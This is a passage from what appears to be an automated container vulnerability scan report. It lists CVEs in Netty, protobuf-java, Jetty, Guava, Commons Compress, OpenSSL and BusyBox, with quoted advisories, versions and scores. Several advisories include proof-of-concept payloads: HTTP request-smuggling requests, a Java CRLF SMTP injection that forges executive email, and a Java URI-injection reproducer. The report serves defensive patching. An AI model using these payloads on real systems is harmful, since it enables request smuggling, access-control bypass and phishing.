+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
